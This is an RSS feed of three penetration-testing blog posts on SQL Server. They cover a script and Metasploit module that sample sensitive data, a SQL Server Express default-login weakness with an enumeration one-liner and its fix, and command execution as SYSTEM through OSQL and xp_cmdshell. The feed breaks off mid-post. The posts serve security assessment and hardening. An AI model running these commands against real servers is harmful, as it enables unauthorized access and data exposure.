<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NetSPI Blog &#187; NetsPWN: Assessment Services</title>
	<atom:link href="http://www.netspi.com/blog/category/application-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.netspi.com/blog</link>
	<description>Information security consulting</description>
	<lastBuildDate>Wed, 18 Jan 2012 12:00:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>When Databases Attack &#8211; Finding Data on SQL Servers</title>
		<link>http://www.netspi.com/blog/2011/11/14/when-databases-attack-find-data-on-sql-servers/</link>
		<comments>http://www.netspi.com/blog/2011/11/14/when-databases-attack-find-data-on-sql-servers/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 21:02:28 +0000</pubDate>
		<dc:creator>Scott Sutherland</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[PCI Requirement 3]]></category>
		<category><![CDATA[SQL Server Security]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1935</guid>
		<description><![CDATA[In this blog I’ll provide a few scripts for finding sensitive data quickly in SQL Server.  In the future I'll provide scripts for other attacks as well.]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong><br />
A few weeks ago I presented a webinar called “When Databases Attack”. It covered some SQL Server database configuration issues that are commonly overlooked and targeted by attackers. For those who are interested it can be viewed <strong><a href="http://www.netspi.com/resources/webinars.php">HERE</a></strong>. This is a response to some requests for script examples. In this blog I’ll provide a few scripts for finding sensitive data quickly in SQL Server.  In the future I&#8217;ll provide scripts for other attacks as well.</p>
<p><strong>Finding Sensitive Data</strong><br />
There are a lot of great tools available for finding data quickly on a SQL Server. Some are commercial and some are open source. Most of them can be useful when gathering evidence during PCI penetration tests or when simply trying to determine if sensitive data exists in your database. In this section I’m going to cover how to find and sample data from SQL Servers using my TSQL script, and the Metasploit module based on the script.</p>
<p><strong>TSQL Script &#8211; FindDataByKeyword.sql</strong><br />
This script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the script and take a sample of the data. For more information please refer to the comments in the script.</p>
<p><em>Important Note:</em> This script does not require SYSADMIN privileges, and will only return results for databases that the user has access to.</p>
<ol>
<li>Download the &#8220;finddatabykeyword.sql&#8221; TSQL script from:</Br><a href="https://github.com/nullbind/Metasploit-Modules/blob/master/finddatabykeyword.sql">https://github.com/nullbind/Metasploit-Modules/blob/master/finddatabykeyword.sql</a>.</li>
<li>Sign into an existing SQL Server using Management Studio.</li>
<li>Open the &#8220;finddatabykeyword.sql&#8221; TSQL script. Next, set the “@SAMPLE_COUNT” variable to the number of rows that you would like to sample. If “@SAMPLE_COUNT” is set to 1, then the query will also return the total number of rows for each of the affected columns that contain data.</li>
<li>Then, modify the @KEYWORDS variable to set words to search for. Each keyword should be separated by the “|” character.</li>
<li>Execute the “finddatabykeyword.sql” TSQL script to sample data from columns that match defined keywords.</li>
</ol>
<p><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/finddatabykeyword1.jpg" alt="Find Data by Keyword" title="Find Data by Keyword" width="858" height="481" class="aligncenter size-full wp-image-1969" /></p>
<p><strong>Metasploit Module &#8211;  mssql_findandsampledata.rb</strong></p>
<p>This is my first Metasploit auxiliary module.  I recently wrote it with a little help from humble-desser and DarkOperator.  The module is essentially a Measploit wrapper for my original TSQL script.  Currently, this script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the keywords option. If column names are found that match the defined keywords and data is present in the associated tables, the script will select a sample of the records from each of the affected tables.  The sample size is determined by the samplesize option. </Br><br />
Before I provide an overview of how the module works, I would also like to thank Digininja.  His original Interesting Data Finder module (<a href="http://www.digininja.org/blog/finding_interesting_db_data.php">http://www.digininja.org/blog/finding_interesting_db_data.php</a>) was my starting point for this script.  Although, I didn’t use much of his IDF module, I did borrow his method for auto sizing columns. So Thanks!  I think it’s a good time to mention that I haven’t submitted this to the Metasploit code base yet, because I would like to finish a few additional options.  So enjoy the sneak peak!  Hopefully some one finds it useful. Below is an overview of how to use the Metasploit module: </p>
<ol>
<li>Download and install the Metasploit Framework.  It can be downloaded from:<br />
<a href="http://metasploit.com/">http://metasploit.com</a></li>
<li>Download the &#8220;mssql_findandsampledata.rb&#8221; module from:<br />
<a href="https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_findandsampledata.rb">https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_findandsampledata.rb</a></li>
<li>Copy the &#8220;mssql_findandsampledata.rb&#8221; file into Metasploit.  Below are the locations it should be copied to for Metaploit Framework and Pro:
<p>
&nbsp;&nbsp;&nbsp;&nbsp;<strong>Metasploit Framework –Windows (Free Version):</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;C:\framework\msf3\modules\auxiliary\admin\mssql\</Br><br />
&nbsp;&nbsp;&nbsp;&nbsp;<strong>Metasploit Pro &#8211; Windows (Commercial Version)</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;C:\metasploit\apps\pro\msf3\modules\auxiliary\admin\mssql\
</p>
</li>
<li>Open a Metasploit console.  <em>Important Note</em>: The pro version of Metasploit is not required.<br />
<a href="http://www.netspi.com/blog/wp-content/uploads/2011/11/1-open-metasploit-console.jpg"><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/1-open-metasploit-console-300x229.jpg" alt="1-open-metasploit-console" title="1-open-metasploit-console" width="300" height="229" class="aligncenter size-medium wp-image-1948" /></a>
</li>
<li>
Select the &#8220;mssql_findandsampledata.rb&#8221; auxiliary by typing: &#8220;use auxiliary/admin/mssql/mssql_FindandSampleData&#8221;<br />
<a href="http://www.netspi.com/blog/wp-content/uploads/2011/11/2-select-module-and-show-options.jpg"><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/2-select-module-and-show-options-300x155.jpg" alt="2-select-module-and-show-options" title="2-select-module-and-show-options" width="300" height="155" class="aligncenter size-medium wp-image-1949" /></a>
</li>
<li>
Set the required configuration parameters as illustrated below.  Please note that enabling file output is not required.  Also, IP ranges and cider notation can be set via RHOSTS.<br />
<a href="http://www.netspi.com/blog/wp-content/uploads/2011/11/3-set-module-options.jpg"><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/3-set-module-options-300x149.jpg" alt="3-set-module-options" title="3-set-module-options" width="300" height="149" class="aligncenter size-medium wp-image-1950" /></a>
</li>
<li>
Type &#8220;show options&#8221; to confirm you’ve entered your information correctly.<br />
<a href="http://www.netspi.com/blog/wp-content/uploads/2011/11/4-show-set-options.jpg"><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/4-show-set-options-300x130.jpg" alt="4-show-set-options" title="4-show-set-options" width="300" height="130" class="aligncenter size-medium wp-image-1951" /></a>
</li>
<li>
Type &#8220;exploit&#8221; to enumerate data from the remote SQL Server and write it to a file.  If it fails confirm that the IP address, port, username, and password are correct.<br />
<a href="http://www.netspi.com/blog/wp-content/uploads/2011/11/5-typ-exploit-to-gather-data-from-server.jpg"><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/5-typ-exploit-to-gather-data-from-server-300x181.jpg" alt="5-typ-exploit-to-gather-data-from-server" title="5-typ-exploit-to-gather-data-from-server" width="300" height="181" class="aligncenter size-medium wp-image-1952" /></a>
</li>
<li>
Open file in excel for easy viewing and sorting.<br />
<a href="http://www.netspi.com/blog/wp-content/uploads/2011/11/6-review-csv-in-excel.jpg"><img src="http://www.netspi.com/blog/wp-content/uploads/2011/11/6-review-csv-in-excel-300x150.jpg" alt="6-review-csv-in-excel" title="6-review-csv-in-excel" width="300" height="150" class="aligncenter size-medium wp-image-1953" /></a>
</li>
</ol>
<p><strongWrap Up</strong><br />
Hopefully someone will find these scripts useful.   If anyone has feedback or questions please feel free to email me.  I always welcome the opportunity to improve scripts, approach, share knowledge etc.  Also, next time I will be releasing a TSQL script  and Metasploit module for attacking shared services accounts.  In the mean time good hunting.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/11/14/when-databases-attack-find-data-on-sql-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Databases Attack: SQL Server Express Privilege Inheritance Issue</title>
		<link>http://www.netspi.com/blog/2011/09/29/when-databases-attack-sql-server-express-is-evil/</link>
		<comments>http://www.netspi.com/blog/2011/09/29/when-databases-attack-sql-server-express-is-evil/#comments</comments>
		<pubDate>Fri, 30 Sep 2011 04:33:08 +0000</pubDate>
		<dc:creator>Scott Sutherland</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[PCI Requirement 7]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[SQL Server Express]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1873</guid>
		<description><![CDATA[By default, SQL Server Express supports a lot of great options that make it a very practical solution to many business problems.  However, it also comes configured with a not so great option that could allow domain users to gain unauthorized access to SQL Server Express instances.  In this blog I’ll cover what the issue is, how to attack it, and how to fix it.]]></description>
			<content:encoded><![CDATA[<p>SQL Server Express is commonly used by database hobbyists, application developers, and small application vendors to manage their application data. By default, it supports a lot of great options that make it a very practical solution to many business problems. However, it also comes configured with a <em>not</em> so great setting that could allow domain users to gain unauthorized access to SQL Server Express instances. In this blog I’ll cover what the issue is, how to attack it, and how to fix it.<br />
<Br><br />
<strong>How it works</strong><br />
Through privilege inheritance, all domain users have access to default SQL Server Express instances that have remote listeners enabled. This is mainly possible because the local Windows &#8220;BUILTIN\Users&#8221; group is assigned &#8220;connect&#8221; privileges during the default installation. Below is a summary of how this configuration allows users to gain unauthorized access to databases.</p>
<ol>
<li>By default, the &#8220;NT AUTHORITY\Authenticated Users” built-in security principal includes all users that have been &#8220;authenticated locally by a trusted domain controller.&#8221;. That includes all domain user and machine accounts.</li>
<li>By default, the &#8220;NT AUTHORITY\Authenticated Users” built-in security principal is added as a member of the local &#8220;Users&#8221; group in Windows. This can be verified by issuing the following command from a Windows console:<Br><Br>NET LOCALGROUP USERS</li>
<li>By default, SQL Server Express 2005 and 2008 create a login for the local &#8220;BUILTIN\Users&#8221; group that provides users with connection privileges. This can be verified by issuing the following query in any default SQL Server Express instance:<Br><Br>SELECT * FROM sys.server_principals WHERE name = &#8216;BUILTIN\Users&#8217;;</li>
<li>As a result, all user and machine accounts on the same domain as the SQL Server Express instance also inherently have connect permissions to the SQL Server Express instance if a TCP listener has been enabled. Below is a basic example of how to issue a query to one of the affected SQL servers from a Windows console:<Br><Br>SQLCMD -E -S &#8220;AffectedServer1\SQLEXPRESS&#8221; -Q &#8220;SELECT @@Version&#8221;</li>
</ol>
<p>At a minimum, this default configuration provides an internal attacker with initial access to SQL Server Express instances. That &#8220;foot in the door&#8221; could potentially be leveraged to gain access to other database servers, systems, and network resources. During penetration tests, this type of issue often leads to exposure of sensitive data, and system access.</p>
<p><strong>How to attack it</strong><br />
Below I’ve outlined one method for accessing SQL Server Express instances as a domain user. Keep in mind that there are a number of ways to accomplish the same thing.  For example, it could be run through the &#8220;xp_cmdshell&#8221; extended stored procedure in order to run with the privileges of the SQL Server service account (which is the domain machine account if configured with &#8220;nt authority\system&#8221;).  </p>
<p>Note:  You may have to disable/modify your local firewall to ensure that SQLCMD can process the UDP responses from the SQL Servers on the network.</p>
<ol>
<li>Log into a Windows system with domain credentials.</li>
<li>Install SQL Server Express.</li>
<li>Open up a command prompt.</li>
<li>Enumerate SQL Server instances that you have access to on the domain with the command below.<Br><Br>FOR /F &#8220;&#8221; %a in (&#8216;SQLCMD -L&#8217;) do SQLCMD -E -S %a -Q &#8220;SELECT &#8216;Vulnerable: &#8216;+@@SERVERNAME&#8221; | FIND /I &#8220;Vulnerable:&#8221; &gt;&gt; dbservers.txt</li>
<li>Now you have a list of vulnerable SQL Servers that you can issue arbitrary queries to with SQLCMD or SQL Server Management Studio. If you’re a penetration tester, you can also start escalating privileges and gaining unauthorized access to data.</li>
</ol>
<p>At some point in the near future I’ll also release a TSQL script that will output the list into a pretty table. If you’re interested in similar attacks, I wrote a blog called &#8220;<a href="http://www.netspi.com/blog/2011/07/19/when-databases-attack-hacking-with-the-osql-utility/">When Databases Attack: Hacking with OSQL</a>&#8221; that you might like.</p>
<p><strong>How to fix it</strong><br />
Remove the &#8220;BUILTIN\Users&#8221; login from SQL Server express instances to prevent evil doers from accessing your data.</p>
<p><strong>Conclusions</strong><br />
From what I understand, Microsoft only made this a configuration default in express editions to help make SQL Server easier to deal with on Windows systems with User Access Control (UAC) enabled. So if you’re running any other edition you shouldn’t have to worry about anything unless someone manually added a login for BUILTIN\Users. With that, I have a few words of advice. First, <em>never</em> trust default configurations. Second, <em>always</em> leverage best practice hardening guides to help lock down new systems and applications. Third, <em>don’t forget</em> to configure accounts and securables with least privilege.</p>
<p>Good hunting.</p>
<p><strong>References</strong></p>
<ul>
<li>http://technet.microsoft.com/en-us/library/bb457115.aspx</li>
<li>http://msdn.microsoft.com/en-us/library/ms143401(v=sql.90).aspx</li>
<li>http://msdn.microsoft.com/en-us/library/ms143684.aspx</li>
<li>http://msdn.microsoft.com/en-us/library/bb326612.aspx</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.netspi.com/blog/2011/09/29/when-databases-attack-sql-server-express-is-evil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Databases Attack:  Hacking with the OSQL Utility</title>
		<link>http://www.netspi.com/blog/2011/07/19/when-databases-attack-hacking-with-the-osql-utility/</link>
		<comments>http://www.netspi.com/blog/2011/07/19/when-databases-attack-hacking-with-the-osql-utility/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 22:55:31 +0000</pubDate>
		<dc:creator>Scott Sutherland</dc:creator>
				<category><![CDATA[NetsPWN: Assessment Services]]></category>
		<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[OSQL]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[SQLCMD]]></category>

		<guid isPermaLink="false">http://www.netspi.com/blog/?p=1601</guid>
		<description><![CDATA[This blog will illustrate how the OSQL and SQLCMD utilities can be used by malicious users to escalate their privileges through SQL Servers and gain unauthorized access to systems and data.]]></description>
			<content:encoded><![CDATA[<p>The OSQL Utility is a command-line client for SQL Server that has shipped with every version since SQL Server 2000 was released. Many database administrators like it because it’s lightweight, makes scheduling TSQL jobs easy, and can be used for batch processing. Many hackers like it because it provides them with the ability to connect to local and remote database servers without having to provide credentials. This blog will provide some examples that illustrate how the OSQL utility can be used to gain unauthorized access to systems, databases, and sensitive information.</p>
<p><strong>A Little History</strong><br />
All relevant versions of SQL Server have shipped with a command-line SQL Server client. The native command-line clients installed in past versions include: iSQL.exe, OSQL.exe, and SQLCMD.exe. Each utility Microsoft releases has more functionality than the last, but the important thing to note for this discussion is that the basic syntax has remained the same. That includes the –E “trusted connection” switch that will be important later on in this blog. Below I’ve provided a table that outlines which utilities ship with each version of SQL Server.</p>
<table class="MsoNormalTable" style="text-align: left; border-collapse: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 0in 0in 0in;" width="100%" border="0" cellspacing="0" cellpadding="0">
<thead>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes;">
<td style="border-bottom: gray 1pt solid; border-left: black 1pt solid; padding-bottom: 0.7pt; padding-left: 0.05in; width: 131.4pt; padding-right: 0.05in; background: #00335b; border-top: black 1pt solid; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="175">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center"><strong><span style="color: white;">SQL Server Version</span></strong></p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 135pt; padding-right: 0.05in; background: #00335b; border-top: black 1pt solid; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="180">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center"><strong><span style="color: white;">Command-line Utilities</span></strong></p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 1.75in; padding-right: 0.05in; background: #00335b; border-top: black 1pt solid; border-right: black 1pt solid; padding-top: 0.7pt;" valign="top" width="168">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center"><strong><span style="color: white;">Trusted Connections</span></strong></p>
</td>
</tr>
</thead>
<tbody>
<tr style="page-break-inside: avoid; mso-yfti-irow: 1;">
<td style="border-bottom: gray 1pt solid; border-left: black 1pt solid; padding-bottom: 0.7pt; padding-left: 0.05in; width: 131.4pt; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="175">
<p class="tablebody" style="margin: 0in 0in 0pt;">SQL Server 7 (and Prior)</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 135pt; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="180">
<p class="tablebody" style="margin: 0in 0in 0pt;">iSQL.exe</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 1.75in; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: black 1pt solid; padding-top: 0.7pt;" valign="top" width="168">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center">Yes</p>
</td>
</tr>
<tr style="page-break-inside: avoid; mso-yfti-irow: 2;">
<td style="border-bottom: gray 1pt solid; border-left: black 1pt solid; padding-bottom: 0.7pt; padding-left: 0.05in; width: 131.4pt; padding-right: 0.05in; background: #e0e0e0; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="175">
<p class="tablebody" style="margin: 0in 0in 0pt;">SQL Server 2000</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 135pt; padding-right: 0.05in; background: #e0e0e0; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="180">
<p class="tablebody" style="margin: 0in 0in 0pt;">iSQL.exe, OSQL.exe</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 1.75in; padding-right: 0.05in; background: #e0e0e0; border-top: #f0f0f0; border-right: black 1pt solid; padding-top: 0.7pt;" valign="top" width="168">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center">Yes</p>
</td>
</tr>
<tr style="page-break-inside: avoid; mso-yfti-irow: 3;">
<td style="border-bottom: gray 1pt solid; border-left: black 1pt solid; padding-bottom: 0.7pt; padding-left: 0.05in; width: 131.4pt; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="175">
<p class="tablebody" style="margin: 0in 0in 0pt;">SQL Server 2005</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 135pt; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="180">
<p class="tablebody" style="margin: 0in 0in 0pt;">OSQL.exe, SQLCMD.exe</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 1.75in; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: black 1pt solid; padding-top: 0.7pt;" valign="top" width="168">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center">Yes</p>
</td>
</tr>
<tr style="page-break-inside: avoid; mso-yfti-irow: 4;">
<td style="border-bottom: gray 1pt solid; border-left: black 1pt solid; padding-bottom: 0.7pt; padding-left: 0.05in; width: 131.4pt; padding-right: 0.05in; background: #e0e0e0; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="175">
<p class="tablebody" style="margin: 0in 0in 0pt;">SQL Server 2008</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 135pt; padding-right: 0.05in; background: #e0e0e0; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="180">
<p class="tablebody" style="margin: 0in 0in 0pt;">OSQL.exe, SQLCMD.exe</p>
</td>
<td style="border-bottom: gray 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 1.75in; padding-right: 0.05in; background: #e0e0e0; border-top: #f0f0f0; border-right: black 1pt solid; padding-top: 0.7pt;" valign="top" width="168">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center">Yes</p>
</td>
</tr>
<tr style="page-break-inside: avoid; mso-yfti-irow: 5; mso-yfti-lastrow: yes;">
<td style="border-bottom: black 1pt solid; border-left: black 1pt solid; padding-bottom: 0.7pt; padding-left: 0.05in; width: 131.4pt; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="175">
<p class="tablebody" style="margin: 0in 0in 0pt;">Future versions</p>
</td>
<td style="border-bottom: black 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 135pt; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: gray 1pt solid; padding-top: 0.7pt;" valign="top" width="180">
<p class="tablebody" style="margin: 0in 0in 0pt;">SQLCMD.exe</p>
</td>
<td style="border-bottom: black 1pt solid; border-left: #f0f0f0; padding-bottom: 0.7pt; padding-left: 0.05in; width: 1.75in; padding-right: 0.05in; background: #f3f3f3; border-top: #f0f0f0; border-right: black 1pt solid; padding-top: 0.7pt;" valign="top" width="168">
<p class="tablebody" style="text-align: center; margin: 0in 0in 0pt;" align="center">Yes</p>
</td>
</tr>
</tbody>
</table>
<p><em>IMPORTANT NOTE</em>: I focus on OSQL, because it’s installed on most production SQL servers today. However, after version 2008 R2 it will no longer be included in default installations. So, if you find yourself without OSQL, look to the other options.</p>
<p><strong>Finding SQL Servers</strong><br />
Let’s start out by finding some SQL Servers on the network. It’s pretty hard to attack something if you don’t know where it is. There are a number of tools and methods for enumerating SQL Servers, but today I’m going to focus on finding them with native OSQL functionality. Very simply, local and network SQL Servers can be listed by executing the command below:</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;osql -L</p>
</div>
<p>The command sends a UDP request across the broadcast network and any SQL Server listening will respond. The resulting output will be a list of SQL servers on the broadcast network. So, with one switch, you can turn your database client into a database scanner.<br />
Also, the server list can be directed into a file with the following command:</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;osql -L &gt; sql_servers.txt</p>
</div>
<p><em>IMPORTANT NOTE: </em>In older versions of SQL server, OSQL may have to be executed directly from the installation directory. Also, Microsoft warns that “Due to the nature of broadcasting on networks, OSQL may not receive a timely response from all servers. Therefore the list of servers returned may vary for each invocation of this option.” You may want to run the command a few times to ensure you get the full list.</p>
<p><strong>Trusted Connections</strong><br />
Normally when a user queries an SQL Server with OSQL, they provide a username and password to authenticate. As a result, many administrators end up placing sensitive usernames and passwords in their scripts. Depending on the configuration, local, domain, and SQL Server accounts could be exposed. Trusted connections provide database users with the option to query SQL Servers without having to supply their credentials. When the trusted connections option is selected, the OSQL client attempts to authenticate to the database server using the current user context. In a way, this option increases security, because it keeps passwords out of scripts and in some cases can be used to enforce least privilege. However, there are some negatives aspects to having a “Trusted Connection” option: mainly the “Trusted” part.</p>
<p><strong>Executing Queries with a Trusted Connection</strong><br />
Let’s take a look at how a database administrator might use this tool to check the version of a remote server. -E Uses a trusted connection for authentication (no credentials are required). I&#8217;ve also listed additional switches below:</p>
<ul>
<li>-S Specifies the local or remote server (IP, hostname or hostname\instance)</li>
<li>-Q Runs a query and immediately exists</li>
<li>-h Indicates number of headers for the output</li>
<li>-s Indicates separating character for the output</li>
<li>-w Sets the width for the output</li>
</ul>
<p>The example below will query the SQL Server at 192.168.100.110 for its version.</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;osql -E -S 192.168.100.110 -Q &#8220;select @@version&#8221; -h 1 -s &#8220;,&#8221; -w 500</p>
</div>
<p>Based on this example, it’s obvious that trusted connections are a handy tool for a database administrator. The problem starts to occur when an unauthorized user gets access to the database administrator’s machine or the database administrator decides they want more access to the system. Below are a few additional command line examples for connecting to remote databases using OSQL or SQLCMD.</p>
<p>Connect to a remote database using an<em> IP address</em>:</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;SQLCMD –E –S 192.168.100.110 –Q &#8220;select @@version&#8221;</p>
</div>
<p>Connect to a remote database using the <em>instance name:</em></p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;SQLCMD –E –S DBSERVER1\BankAppDB –Q &#8220;select @@version&#8221;</p>
</div>
<p>Connect to a remote database using a <em>non standard port</em>:</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;SQLCMD –E –S tcp:DBSERVER1,8000 –Q &#8220;select @@version&#8221;</p>
</div>
<p><strong>Executing System Commands with a Trusted Connection</strong><br />
Attackers aren’t the only threat. Both attackers and database administrators can leverage this next trick to escalate their privileges. Using the OSQL utility and the xp_cmdshell extended stored procedure, DBAs and hackers can execute commands with the privileges of the SQL Server service account. Usually I find the SQL Server service account running as SYSTEM, a domain account, or an almighty Domain Admin account.</p>
<p>For those of you who are not as familiar – if we obtain SYSTEM privileges, we have more power than the local administrator account and, if we obtain Domain Admin, we can control most (if not all) of the devices on the network. How does this magic happen? Well, let’s take a look.</p>
<p>In the first example, I will execute the “whoami” command to return the name of the account I’m currently using. In the example below I am running as the “DBAdmin“domain user.</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;whoami<br />
demo\dbaadmin</p>
</div>
<p>In the second example, I will run the same command using OSQL, a “trusted connection”, and xp_cmdshell. This time, the command returns “nt authority\system”. That means I can run any command as SYSTEM without being a part of any local or domain groups.</p>
<div style="background: #e6e6e6; margin-right: 0in; mso-element: para-border-div; mso-border-alt: solid windowtext .5pt; mso-border-shadow: yes; border: windowtext 1pt solid; padding: 0in;">
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt; background: #e6e6e6;">C:\&gt;osql -E -S 192.168.100.110 -Q &#8220;xp_cmdshell &#8216;whoami&#8217;&#8221;<br />
output<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
nt authority\system</p>
<p>NULL</p>
<p>(2 rows affected)</p>
</div>
<p>If the database user running the command has been assigned the “sysadmin” fixed server role (most DBAs have), then the command above can be executed to determine what user the SQL Server is running as. If not, then escalation may be required.</p>
<p><em>IMPORTANT NOTE:</em> The command above did not require any credentials and our actions most likely have not been logged. Also, sometimes the SQL Server service is not configured with a local Administrator, SYSTEM, or Domain Admin account. When that is, the case I usually find that it is configured with a shared service account. That can be almost as good.</p>
<p class="NetSPIScreenshot" style="margin: 0in 0in 0pt;"><strong>Leveraging Shared Service Accounts and Trusted Connections</strong><br />
